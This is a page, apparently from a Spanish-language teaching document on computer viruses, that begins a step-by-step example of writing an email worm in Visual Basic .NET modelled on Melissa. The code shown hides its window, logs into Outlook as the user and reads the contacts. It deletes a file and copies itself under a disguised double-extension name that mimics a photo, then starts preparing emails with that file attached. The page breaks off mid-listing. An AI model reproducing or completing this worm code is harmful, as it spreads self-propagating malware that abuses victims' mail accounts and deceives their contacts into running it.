Page 30 - Virus Informaticos

___________________________________________________________________________Virus

12 Ejemplo

Después de todos los apartados anteriores donde se trataban temas más teóricos que prácticos,
nos encontramos en situación de poder escribir un sencillo virus de ejemplo. En primera instancia
explicaremos como escribir un gusano en Visual Basic .net y posteriormente se comparará y
explicará el código del gusano Melissa.

Lo primera será crear un nuevo proyecto de Visual Basic .net y clickear dos veces sobre el
formulario principal, con esto pasaremos a escribir el código que se ejecutará cuando se cargue el
formulario. Introduciremos el siguiente código donde ya se explica en los comentarios el
funcionamiento del mismo:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load

Me.Hide()
' Creamos una aplicacion de Outlook
Dim oApp As Outlook.Application = New Outlook.Application
Dim oNS As Outlook.NameSpace = oApp.GetNamespace("mapi")

' Nos identificamos como quienes somos los usuarios del sistema ☺
oNS.Logon("", "", False, True)

'Abrimos los contactos *(1)

Dim cContacts As Outlook.MAPIFolder =
oNS.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderContacts)

'Definimos las variables necesarias para recorrer los contactos
Dim oItems As Outlook.Items = cContacts.Items
Dim oCt As Outlook.ContactItem
Dim i As Int16

'Borramos/Modificamos/Grabamos todo aquello que se considere oportuno
'Tendras permiso para hacer todo lo que los permisos del usuario te
'permitan
System.IO.File.Delete("C:\archivo.exe")
System.IO.File.Copy(Application.ExecutablePath,
"C:\FotoDeLaChicSuperMegaGuapa.gif.exe")

'Vamos a mandar los emails ☺
Dim sBodyLen As String
Dim oMsg As Outlook._MailItem 'Un objeto email para enviar
'Ruta del fichero que vamos a adjuntar
Dim sSource As String = "C:\FotoDeLaChicSuperMegaGuapa4.gif.exe"
Dim sDisplayName As String = "FotoDeLaChicSuperMegaGuapa4.exe"

Página | 33